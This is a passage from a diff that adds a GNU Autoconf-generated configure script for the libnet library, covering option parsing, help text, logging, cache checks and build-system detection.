+ program_suffix=$ac_optarg ;;
+
+ -program-transform-name | --program-transform-name \
+ | --program-transform-nam | --program-transform-na \
+ | --program-transform-n | --program-transform- \
+ | --program-transform | --program-transfor \
+ | --program-transfo | --program-transf \
+ | --program-trans | --program-tran \
+ | --progr-tra | --program-tr | --program-t)
+ ac_prev=program_transform_name ;;
+ -program-transform-name=* | --program-transform-name=* \
+ | --program-transform-nam=* | --program-transform-na=* \
+ | --program-transform-n=* | --program-transform-=* \
+ | --program-transform=* | --program-transfor=* \
+ | --program-transfo=* | --program-transf=* \
+ | --program-trans=* | --program-tran=* \
+ | --progr-tra=* | --program-tr=* | --program-t=*)
+ program_transform_name=$ac_optarg ;;
+
+ -q | -quiet | --quiet | --quie | --qui | --qu | --q \
+ | -silent | --silent | --silen | --sile | --sil)
+ silent=yes ;;
+
+ -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb)
+ ac_prev=sbindir ;;
+ -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \
+ | --sbi=* | --sb=*)
+ sbindir=$ac_optarg ;;
+
+ -sharedstatedir | --sharedstatedir | --sharedstatedi \
+ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \
+ | --sharedst | --shareds | --shared | --share | --shar \
+ | --sha | --sh)
+ ac_prev=sharedstatedir ;;
+ -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \
+ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \
+ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \
+ | --sha=* | --sh=*)
+ sharedstatedir=$ac_optarg ;;
+
+ -site | --site | --sit)
+ ac_prev=site ;;
+ -site=* | --site=* | --sit=*)
+ site=$ac_optarg ;;
+
+ -srcdir | --srcdir | --srcdi | --srcd | --src | --sr)
+ ac_prev=srcdir ;;
+ -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*)
+ srcdir=$ac_optarg ;;
+
+ -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \
+ | --syscon | --sysco | --sysc | --sys | --sy)
+ ac_prev=sysconfdir ;;
+ -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \
+ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*)
+ sysconfdir=$ac_optarg ;;
+
+ -target | --target | --targe | --targ | --tar | --ta | --t)
+ ac_prev=target_alias ;;
+ -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*)
+ target_alias=$ac_optarg ;;
+
+ -v | -verbose | --verbose | --verbos | --verbo | --verb)
+ verbose=yes ;;
+
+ -version | --version | --versio | --versi | --vers | -V)
+ ac_init_version=: ;;
+
+ -with-* | --with-*)
+ ac_package=`expr "x$ac_option" : 'x-*with-\([^=]*\)'`
+ # Reject names that are not valid shell variable names.
+ expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+ { echo "$as_me: error: invalid package name: $ac_package" >&2
+ { (exit 1); exit 1; }; }
+ ac_package=`echo $ac_package| sed 's/-/_/g'`
+ case $ac_option in
+ *=*) ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`;;
+ *) ac_optarg=yes ;;
+ esac
+ eval "with_$ac_package='$ac_optarg'" ;;
+
+ -without-* | --without-*)
+ ac_package=`expr "x$ac_option" : 'x-*without-\(.*\)'`
+ # Reject names that are not valid shell variable names.
+ expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+ { echo "$as_me: error: invalid package name: $ac_package" >&2
+ { (exit 1); exit 1; }; }
+ ac_package=`echo $ac_package | sed 's/-/_/g'`
+ eval "with_$ac_package=no" ;;
+
+ --x)
+ # Obsolete; use --with-x.
+ with_x=yes ;;
+
+ -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \
+ | --x-incl | --x-inc | --x-in | --x-i)
+ ac_prev=x_includes ;;
+ -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \
+ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*)
+ x_includes=$ac_optarg ;;
+
+ -x-libraries | --x-libraries | --x-librarie | --x-librari \
+ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l)
+ ac_prev=x_libraries ;;
+ -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \
+ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*)
+ x_libraries=$ac_optarg ;;
+
+ -*) { echo "$as_me: error: unrecognized option: $ac_option
+Try \`$0 --help' for more information." >&2
+ { (exit 1); exit 1; }; }
+ ;;
+
+ *=*)
+ ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='`
+ # Reject names that are not valid shell variable names.
+ expr "x$ac_envvar" : ".*[^_$as_cr_alnum]" >/dev/null &&
+ { echo "$as_me: error: invalid variable name: $ac_envvar" >&2
+ { (exit 1); exit 1; }; }
+ ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`
+ eval "$ac_envvar='$ac_optarg'"
+ export $ac_envvar ;;
+
+ *)
+ # FIXME: should be removed in autoconf 3.0.
+ echo "$as_me: WARNING: you should use --build, --host, --target" >&2
+ expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null &&
+ echo "$as_me: WARNING: invalid host type: $ac_option" >&2
+ : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option}
+ ;;
+
+ esac
+done
+
+if test -n "$ac_prev"; then
+ ac_option=--`echo $ac_prev | sed 's/_/-/g'`
+ { echo "$as_me: error: missing argument to $ac_option" >&2
+ { (exit 1); exit 1; }; }
+fi
+
+# Be sure to have absolute paths.
+for ac_var in exec_prefix prefix
+do
+ eval ac_val=$`echo $ac_var`
+ case $ac_val in
+ [\\/$]* | ?:[\\/]* | NONE | '' ) ;;
+ *) { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2
+ { (exit 1); exit 1; }; };;
+ esac
+done
+
+# Be sure to have absolute paths.
+for ac_var in bindir sbindir libexecdir datadir sysconfdir sharedstatedir \
+ localstatedir libdir includedir oldincludedir infodir mandir
+do
+ eval ac_val=$`echo $ac_var`
+ case $ac_val in
+ [\\/$]* | ?:[\\/]* ) ;;
+ *) { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2
+ { (exit 1); exit 1; }; };;
+ esac
+done
+
+# There might be people who depend on the old broken behavior: `$host'
+# used to hold the argument of --host etc.
+# FIXME: To remove some day.
+build=$build_alias
+host=$host_alias
+target=$target_alias
+
+# FIXME: To remove some day.
+if test "x$host_alias" != x; then
+ if test "x$build_alias" = x; then
+ cross_compiling=maybe
+ echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host.
+ If a cross compiler is detected then cross compile mode will be used." >&2
+ elif test "x$build_alias" != "x$host_alias"; then
+ cross_compiling=yes
+ fi
+fi
+
+ac_tool_prefix=
+test -n "$host_alias" && ac_tool_prefix=$host_alias-
+
+test "$silent" = yes && exec 6>/dev/null
+
+
+# Find the source files, if location was not specified.
+if test -z "$srcdir"; then
+ ac_srcdir_defaulted=yes
+ # Try the directory containing this script, then its parent.
+ ac_confdir=`(dirname "$0") 2>/dev/null ||
+$as_expr X"$0" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$0" : 'X\(//\)[^/]' \| \
+ X"$0" : 'X\(//\)$' \| \
+ X"$0" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$0" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ srcdir=$ac_confdir
+ if test ! -r $srcdir/$ac_unique_file; then
+ srcdir=..
+ fi
+else
+ ac_srcdir_defaulted=no
+fi
+if test ! -r $srcdir/$ac_unique_file; then
+ if test "$ac_srcdir_defaulted" = yes; then
+ { echo "$as_me: error: cannot find sources ($ac_unique_file) in $ac_confdir or .." >&2
+ { (exit 1); exit 1; }; }
+ else
+ { echo "$as_me: error: cannot find sources ($ac_unique_file) in $srcdir" >&2
+ { (exit 1); exit 1; }; }
+ fi
+fi
+(cd $srcdir && test -r ./$ac_unique_file) 2>/dev/null ||
+ { echo "$as_me: error: sources are in $srcdir, but \`cd $srcdir' does not work" >&2
+ { (exit 1); exit 1; }; }
+srcdir=`echo "$srcdir" | sed 's%\([^\\/]\)[\\/]*$%\1%'`
+ac_env_build_alias_set=${build_alias+set}
+ac_env_build_alias_value=$build_alias
+ac_cv_env_build_alias_set=${build_alias+set}
+ac_cv_env_build_alias_value=$build_alias
+ac_env_host_alias_set=${host_alias+set}
+ac_env_host_alias_value=$host_alias
+ac_cv_env_host_alias_set=${host_alias+set}
+ac_cv_env_host_alias_value=$host_alias
+ac_env_target_alias_set=${target_alias+set}
+ac_env_target_alias_value=$target_alias
+ac_cv_env_target_alias_set=${target_alias+set}
+ac_cv_env_target_alias_value=$target_alias
+ac_env_CC_set=${CC+set}
+ac_env_CC_value=$CC
+ac_cv_env_CC_set=${CC+set}
+ac_cv_env_CC_value=$CC
+ac_env_CFLAGS_set=${CFLAGS+set}
+ac_env_CFLAGS_value=$CFLAGS
+ac_cv_env_CFLAGS_set=${CFLAGS+set}
+ac_cv_env_CFLAGS_value=$CFLAGS
+ac_env_LDFLAGS_set=${LDFLAGS+set}
+ac_env_LDFLAGS_value=$LDFLAGS
+ac_cv_env_LDFLAGS_set=${LDFLAGS+set}
+ac_cv_env_LDFLAGS_value=$LDFLAGS
+ac_env_CPPFLAGS_set=${CPPFLAGS+set}
+ac_env_CPPFLAGS_value=$CPPFLAGS
+ac_cv_env_CPPFLAGS_set=${CPPFLAGS+set}
+ac_cv_env_CPPFLAGS_value=$CPPFLAGS
+ac_env_CPP_set=${CPP+set}
+ac_env_CPP_value=$CPP
+ac_cv_env_CPP_set=${CPP+set}
+ac_cv_env_CPP_value=$CPP
+
+#
+# Report the --help message.
+#
+if test "$ac_init_help" = "long"; then
+ # Omit some internal or obsolete options to make the list less imposing.
+ # This message is too long to be a string in the A/UX 3.1 sh.
+ cat <<_ACEOF
+\`configure' configures this package to adapt to many kinds of systems.
+
+Usage: $0 [OPTION]... [VAR=VALUE]...
+
+To assign environment variables (e.g., CC, CFLAGS...), specify them as
+VAR=VALUE. See below for descriptions of some of the useful variables.
+
+Defaults for the options are specified in brackets.
+
+Configuration:
+ -h, --help display this help and exit
+ --help=short display options specific to this package
+ --help=recursive display the short help of all the included packages
+ -V, --version display version information and exit
+ -q, --quiet, --silent do not print \`checking...' messages
+ --cache-file=FILE cache test results in FILE [disabled]
+ -C, --config-cache alias for \`--cache-file=config.cache'
+ -n, --no-create do not create output files
+ --srcdir=DIR find the sources in DIR [configure dir or \`..']
+
+_ACEOF
+
+ cat <<_ACEOF
+Installation directories:
+ --prefix=PREFIX install architecture-independent files in PREFIX
+ [$ac_default_prefix]
+ --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX
+ [PREFIX]
+
+By default, \`make install' will install all the files in
+\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify
+an installation prefix other than \`$ac_default_prefix' using \`--prefix',
+for instance \`--prefix=\$HOME'.
+
+For better control, use the options below.
+
+Fine tuning of the installation directories:
+ --bindir=DIR user executables [EPREFIX/bin]
+ --sbindir=DIR system admin executables [EPREFIX/sbin]
+ --libexecdir=DIR program executables [EPREFIX/libexec]
+ --datadir=DIR read-only architecture-independent data [PREFIX/share]
+ --sysconfdir=DIR read-only single-machine data [PREFIX/etc]
+ --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com]
+ --localstatedir=DIR modifiable single-machine data [PREFIX/var]
+ --libdir=DIR object code libraries [EPREFIX/lib]
+ --includedir=DIR C header files [PREFIX/include]
+ --oldincludedir=DIR C header files for non-gcc [/usr/include]
+ --infodir=DIR info documentation [PREFIX/info]
+ --mandir=DIR man documentation [PREFIX/man]
+_ACEOF
+
+ cat <<\_ACEOF
+
+Program names:
+ --program-prefix=PREFIX prepend PREFIX to installed program names
+ --program-suffix=SUFFIX append SUFFIX to installed program names
+ --program-transform-name=PROGRAM run sed PROGRAM on installed program names
+
+System types:
+ --build=BUILD configure for building on BUILD [guessed]
+ --host=HOST cross-compile to build programs to run on HOST [BUILD]
+ --target=TARGET configure for building compilers for TARGET [HOST]
+_ACEOF
+fi
+
+if test -n "$ac_init_help"; then
+
+ cat <<\_ACEOF
+
+Optional Features:
+ --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no)
+ --enable-FEATURE[=ARG] include FEATURE [ARG=yes]
+ --enable-maintainer-mode enable make rules and dependencies not useful
+ (and sometimes confusing) to the casual installer
+ --disable-dependency-tracking Speeds up one-time builds
+ --enable-dependency-tracking Do not reject slow dependency extractors
+
+Some influential environment variables:
+ CC C compiler command
+ CFLAGS C compiler flags
+ LDFLAGS linker flags, e.g. -L<lib dir> if you have libraries in a
+ nonstandard directory <lib dir>
+ CPPFLAGS C/C++ preprocessor flags, e.g. -I<include dir> if you have
+ headers in a nonstandard directory <include dir>
+ CPP C preprocessor
+
+Use these variables to override the choices made by `configure' or to help
+it to find libraries and programs with nonstandard names/locations.
+
+_ACEOF
+fi
+
+if test "$ac_init_help" = "recursive"; then
+ # If there are subdirs, report their specific --help.
+ ac_popdir=`pwd`
+ for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue
+ test -d $ac_dir || continue
+ ac_builddir=.
+
+if test "$ac_dir" != .; then
+ ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'`
+ # A "../" for each directory in $ac_dir_suffix.
+ ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'`
+else
+ ac_dir_suffix= ac_top_builddir=
+fi
+
+case $srcdir in
+ .) # No --srcdir option. We are building in place.
+ ac_srcdir=.
+ if test -z "$ac_top_builddir"; then
+ ac_top_srcdir=.
+ else
+ ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'`
+ fi ;;
+ [\\/]* | ?:[\\/]* ) # Absolute path.
+ ac_srcdir=$srcdir$ac_dir_suffix;
+ ac_top_srcdir=$srcdir ;;
+ *) # Relative path.
+ ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix
+ ac_top_srcdir=$ac_top_builddir$srcdir ;;
+esac
+# Don't blindly perform a `cd "$ac_dir"/$ac_foo && pwd` since $ac_foo can be
+# absolute.
+ac_abs_builddir=`cd "$ac_dir" && cd $ac_builddir && pwd`
+ac_abs_top_builddir=`cd "$ac_dir" && cd ${ac_top_builddir}. && pwd`
+ac_abs_srcdir=`cd "$ac_dir" && cd $ac_srcdir && pwd`
+ac_abs_top_srcdir=`cd "$ac_dir" && cd $ac_top_srcdir && pwd`
+
+ cd $ac_dir
+ # Check for guested configure; otherwise get Cygnus style configure.
+ if test -f $ac_srcdir/configure.gnu; then
+ echo
+ $SHELL $ac_srcdir/configure.gnu --help=recursive
+ elif test -f $ac_srcdir/configure; then
+ echo
+ $SHELL $ac_srcdir/configure --help=recursive
+ elif test -f $ac_srcdir/configure.ac ||
+ test -f $ac_srcdir/configure.in; then
+ echo
+ $ac_configure --help
+ else
+ echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2
+ fi
+ cd $ac_popdir
+ done
+fi
+
+test -n "$ac_init_help" && exit 0
+if $ac_init_version; then
+ cat <<\_ACEOF
+
+Copyright 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, 2002
+Free Software Foundation, Inc.
+This configure script is free software; the Free Software Foundation
+gives unlimited permission to copy, distribute and modify it.
+_ACEOF
+ exit 0
+fi
+exec 5>config.log
+cat >&5 <<_ACEOF
+This file contains any messages produced by compilers while
+running configure, to aid debugging if configure makes a mistake.
+
+It was created by $as_me, which was
+generated by GNU Autoconf 2.57. Invocation command line was
+
+ $ $0 $@
+
+_ACEOF
+{
+cat <<_ASUNAME
+## --------- ##
+## Platform. ##
+## --------- ##
+
+hostname = `(hostname || uname -n) 2>/dev/null | sed 1q`
+uname -m = `(uname -m) 2>/dev/null || echo unknown`
+uname -r = `(uname -r) 2>/dev/null || echo unknown`
+uname -s = `(uname -s) 2>/dev/null || echo unknown`
+uname -v = `(uname -v) 2>/dev/null || echo unknown`
+
+/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown`
+/bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown`
+
+/bin/arch = `(/bin/arch) 2>/dev/null || echo unknown`
+/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown`
+/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown`
+hostinfo = `(hostinfo) 2>/dev/null || echo unknown`
+/bin/machine = `(/bin/machine) 2>/dev/null || echo unknown`
+/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown`
+/bin/universe = `(/bin/universe) 2>/dev/null || echo unknown`
+
+_ASUNAME
+
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ echo "PATH: $as_dir"
+done
+
+} >&5
+
+cat >&5 <<_ACEOF
+
+
+## ----------- ##
+## Core tests. ##
+## ----------- ##
+
+_ACEOF
+
+
+# Keep a trace of the command line.
+# Strip out --no-create and --no-recursion so they do not pile up.
+# Strip out --silent because we don't want to record it for future runs.
+# Also quote any args containing shell meta-characters.
+# Make two passes to allow for proper duplicate-argument suppression.
+ac_configure_args=
+ac_configure_args0=
+ac_configure_args1=
+ac_sep=
+ac_must_keep_next=false
+for ac_pass in 1 2
+do
+ for ac_arg
+ do
+ case $ac_arg in
+ -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;;
+ -q | -quiet | --quiet | --quie | --qui | --qu | --q \
+ | -silent | --silent | --silen | --sile | --sil)
+ continue ;;
+ *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*)
+ ac_arg=`echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;;
+ esac
+ case $ac_pass in
+ 1) ac_configure_args0="$ac_configure_args0 '$ac_arg'" ;;
+ 2)
+ ac_configure_args1="$ac_configure_args1 '$ac_arg'"
+ if test $ac_must_keep_next = true; then
+ ac_must_keep_next=false # Got value, back to normal.
+ else
+ case $ac_arg in
+ *=* | --config-cache | -C | -disable-* | --disable-* \
+ | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \
+ | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \
+ | -with-* | --with-* | -without-* | --without-* | --x)
+ case "$ac_configure_args0 " in
+ "$ac_configure_args1"*" '$ac_arg' "* ) continue ;;
+ esac
+ ;;
+ -* ) ac_must_keep_next=true ;;
+ esac
+ fi
+ ac_configure_args="$ac_configure_args$ac_sep'$ac_arg'"
+ # Get rid of the leading space.
+ ac_sep=" "
+ ;;
+ esac
+ done
+done
+$as_unset ac_configure_args0 || test "${ac_configure_args0+set}" != set || { ac_configure_args0=; export ac_configure_args0; }
+$as_unset ac_configure_args1 || test "${ac_configure_args1+set}" != set || { ac_configure_args1=; export ac_configure_args1; }
+
+# When interrupted or exit'd, cleanup temporary files, and complete
+# config.log. We remove comments because anyway the quotes in there
+# would cause problems or look ugly.
+# WARNING: Be sure not to use single quotes in there, as some shells,
+# such as our DU 5.0 friend, will then `close' the trap.
+trap 'exit_status=$?
+ # Save into config.log some information that might help in debugging.
+ {
+ echo
+
+ cat <<\_ASBOX
+## ---------------- ##
+## Cache variables. ##
+## ---------------- ##
+_ASBOX
+ echo
+ # The following way of writing the cache mishandles newlines in values,
+{
+ (set) 2>&1 |
+ case `(ac_space='"'"' '"'"'; set | grep ac_space) 2>&1` in
+ *ac_space=\ *)
+ sed -n \
+ "s/'"'"'/'"'"'\\\\'"'"''"'"'/g;
+ s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='"'"'\\2'"'"'/p"
+ ;;
+ *)
+ sed -n \
+ "s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p"
+ ;;
+ esac;
+}
+ echo
+
+ cat <<\_ASBOX
+## ----------------- ##
+## Output variables. ##
+## ----------------- ##
+_ASBOX
+ echo
+ for ac_var in $ac_subst_vars
+ do
+ eval ac_val=$`echo $ac_var`
+ echo "$ac_var='"'"'$ac_val'"'"'"
+ done | sort
+ echo
+
+ if test -n "$ac_subst_files"; then
+ cat <<\_ASBOX
+## ------------- ##
+## Output files. ##
+## ------------- ##
+_ASBOX
+ echo
+ for ac_var in $ac_subst_files
+ do
+ eval ac_val=$`echo $ac_var`
+ echo "$ac_var='"'"'$ac_val'"'"'"
+ done | sort
+ echo
+ fi
+
+ if test -s confdefs.h; then
+ cat <<\_ASBOX
+## ----------- ##
+## confdefs.h. ##
+## ----------- ##
+_ASBOX
+ echo
+ sed "/^$/d" confdefs.h | sort
+ echo
+ fi
+ test "$ac_signal" != 0 &&
+ echo "$as_me: caught signal $ac_signal"
+ echo "$as_me: exit $exit_status"
+ } >&5
+ rm -f core core.* *.core &&
+ rm -rf conftest* confdefs* conf$$* $ac_clean_files &&
+ exit $exit_status
+ ' 0
+for ac_signal in 1 2 13 15; do
+ trap 'ac_signal='$ac_signal'; { (exit 1); exit 1; }' $ac_signal
+done
+ac_signal=0
+
+# confdefs.h avoids OS command line length limits that DEFS can exceed.
+rm -rf conftest* confdefs.h
+# AIX cpp loses on an empty file, so make sure it contains at least a newline.
+echo >confdefs.h
+
+# Predefined preprocessor variables.
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE_NAME "$PACKAGE_NAME"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE_TARNAME "$PACKAGE_TARNAME"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE_VERSION "$PACKAGE_VERSION"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE_STRING "$PACKAGE_STRING"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT"
+_ACEOF
+
+
+# Let the site file select an alternate cache file if it wants to.
+# Prefer explicitly selected file to automatically selected ones.
+if test -z "$CONFIG_SITE"; then
+ if test "x$prefix" != xNONE; then
+ CONFIG_SITE="$prefix/share/config.site $prefix/etc/config.site"
+ else
+ CONFIG_SITE="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site"
+ fi
+fi
+for ac_site_file in $CONFIG_SITE; do
+ if test -r "$ac_site_file"; then
+ { echo "$as_me:$LINENO: loading site script $ac_site_file" >&5
+echo "$as_me: loading site script $ac_site_file" >&6;}
+ sed 's/^/| /' "$ac_site_file" >&5
+ . "$ac_site_file"
+ fi
+done
+
+if test -r "$cache_file"; then
+ # Some versions of bash will fail to source /dev/null (special
+ # files actually), so we avoid doing that.
+ if test -f "$cache_file"; then
+ { echo "$as_me:$LINENO: loading cache $cache_file" >&5
+echo "$as_me: loading cache $cache_file" >&6;}
+ case $cache_file in
+ [\\/]* | ?:[\\/]* ) . $cache_file;;
+ *) . ./$cache_file;;
+ esac
+ fi
+else
+ { echo "$as_me:$LINENO: creating cache $cache_file" >&5
+echo "$as_me: creating cache $cache_file" >&6;}
+ >$cache_file
+fi
+
+# Check that the precious variables saved in the cache have kept the same
+# value.
+ac_cache_corrupted=false
+for ac_var in `(set) 2>&1 |
+ sed -n 's/^ac_env_\([a-zA-Z_0-9]*\)_set=.*/\1/p'`; do
+ eval ac_old_set=\$ac_cv_env_${ac_var}_set
+ eval ac_new_set=\$ac_env_${ac_var}_set
+ eval ac_old_val="\$ac_cv_env_${ac_var}_value"
+ eval ac_new_val="\$ac_env_${ac_var}_value"
+ case $ac_old_set,$ac_new_set in
+ set,)
+ { echo "$as_me:$LINENO: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5
+echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;}
+ ac_cache_corrupted=: ;;
+ ,set)
+ { echo "$as_me:$LINENO: error: \`$ac_var' was not set in the previous run" >&5
+echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;}
+ ac_cache_corrupted=: ;;
+ ,);;
+ *)
+ if test "x$ac_old_val" != "x$ac_new_val"; then
+ { echo "$as_me:$LINENO: error: \`$ac_var' has changed since the previous run:" >&5
+echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;}
+ { echo "$as_me:$LINENO: former value: $ac_old_val" >&5
+echo "$as_me: former value: $ac_old_val" >&2;}
+ { echo "$as_me:$LINENO: current value: $ac_new_val" >&5
+echo "$as_me: current value: $ac_new_val" >&2;}
+ ac_cache_corrupted=:
+ fi;;
+ esac
+ # Pass precious variables to config.status.
+ if test "$ac_new_set" = set; then
+ case $ac_new_val in
+ *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*)
+ ac_arg=$ac_var=`echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;;
+ *) ac_arg=$ac_var=$ac_new_val ;;
+ esac
+ case " $ac_configure_args " in
+ *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy.
+ *) ac_configure_args="$ac_configure_args '$ac_arg'" ;;
+ esac
+ fi
+done
+if $ac_cache_corrupted; then
+ { echo "$as_me:$LINENO: error: changes in the environment can compromise the build" >&5
+echo "$as_me: error: changes in the environment can compromise the build" >&2;}
+ { { echo "$as_me:$LINENO: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&5
+echo "$as_me: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+LIBNET_VERSION=`cat VERSION`
+echo "$as_me:$LINENO: result: beginning autoconfiguration process for libnet-$LIBNET_VERSION..." >&5
+echo "${ECHO_T}beginning autoconfiguration process for libnet-$LIBNET_VERSION..." >&6
+ac_aux_dir=
+for ac_dir in $srcdir $srcdir/.. $srcdir/../..; do
+ if test -f $ac_dir/install-sh; then
+ ac_aux_dir=$ac_dir
+ ac_install_sh="$ac_aux_dir/install-sh -c"
+ break
+ elif test -f $ac_dir/install.sh; then
+ ac_aux_dir=$ac_dir
+ ac_install_sh="$ac_aux_dir/install.sh -c"
+ break
+ elif test -f $ac_dir/shtool; then
+ ac_aux_dir=$ac_dir
+ ac_install_sh="$ac_aux_dir/shtool install -c"
+ break
+ fi
+done
+if test -z "$ac_aux_dir"; then
+ { { echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in $srcdir $srcdir/.. $srcdir/../.." >&5
+echo "$as_me: error: cannot find install-sh or install.sh in $srcdir $srcdir/.. $srcdir/../.." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+ac_config_guess="$SHELL $ac_aux_dir/config.guess"
+ac_config_sub="$SHELL $ac_aux_dir/config.sub"
+ac_configure="$SHELL $ac_aux_dir/configure" # This should be Cygnus configure.
+
+# Make sure we can run config.sub.
+$ac_config_sub sun4 >/dev/null 2>&1 ||
+ { { echo "$as_me:$LINENO: error: cannot run $ac_config_sub" >&5
+echo "$as_me: error: cannot run $ac_config_sub" >&2;}
+ { (exit 1); exit 1; }; }
+
+echo "$as_me:$LINENO: checking build system type" >&5
+echo $ECHO_N "checking build system type... $ECHO_C" >&6
+if test "${ac_cv_build+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_cv_build_alias=$build_alias
+test -z "$ac_cv_build_alias" &&
+ ac_cv_build_alias=`$ac_config_guess`
+test -z "$ac_cv_build_alias" &&
+ { { echo "$as_me:$LINENO: error: cannot guess build type; you must specify one" >&5
+echo "$as_me: error: cannot guess build type; you must specify one" >&2;}
+ { (exit 1); exit 1; }; }
+ac_cv_build=`$ac_config_sub $ac_cv_build_alias` ||
+ { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_build_alias failed" >&5
+echo "$as_me: error: $ac_config_sub $ac_cv_build_alias failed" >&2;}
+ { (exit 1); exit 1; }; }
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_build" >&5
+echo "${ECHO_T}$ac_cv_build" >&6
+build=$ac_cv_build
+build_cpu=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
+build_vendor=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
+build_os=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
+
+
+echo "$as_me:$LINENO: checking host system type" >&5
+echo $ECHO_N "checking host system type... $ECHO_C" >&6
+if test "${ac_cv_host+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_cv_host_alias=$host_alias
+test -z "$ac_cv_host_alias" &&
+ ac_cv_host_alias=$ac_cv_build_alias
+ac_cv_host=`$ac_config_sub $ac_cv_host_alias` ||
